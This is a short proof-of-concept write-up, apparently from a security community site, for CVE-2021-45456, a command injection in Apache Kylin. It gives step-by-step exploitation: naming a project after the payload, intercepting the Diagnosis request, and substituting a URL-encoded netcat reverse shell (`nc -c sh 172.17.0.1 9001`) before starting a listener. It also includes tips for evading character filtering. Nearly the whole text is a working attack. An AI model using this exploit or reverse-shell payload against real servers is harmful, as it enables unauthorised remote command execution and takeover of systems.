Introduction

Command injection in #Apache Kylin has been found and registered as #CVE-2021-45456, in vsociety we managed to leverage it to RCE and create PoC.

Analysis for this CVE is coming soon, so stay tuned to understand more in-depth about how this vulnerability works.

Proof of concept

• Add a project

• No characters are allowed except _ , therefore the name of the project is based on the payload but stripped from characters as follows:

  
  my payload is nc -c sh 172.17.0.1 9001 so the project name is nccsh17217019001

  
  

  

  
  

  

  
  

• Go to “System”

• Turn proxy on

• Click “Diagnosis” and intercept the request

  
  

  

• Send it to the repeater and drop this request
  

  

• The payload after encoding %60nc%20%2dc%20sh%20172%2e17%2e0%2e1%209001%60

  
  The decoded payload
  

  `nc -c sh 172.17.0.1 9001`

  
  

  

• Replace the project name with the encoded payload

  
  

  

• Run the listener and send the request

  
  

  

  
  

  

NOTES

1. Adding any / encoded or not in the payload will not work. Check the analysis on vsociety for more information.

2. You need permission to create a project, so the name of the project can be based on the payload.

3. The exploitation will not succeed if the project name is modified by adding any additional letter to the payload in the request.

4. The ip and port should be part of the name, the IP without . and you add the dots . later as URL encoded.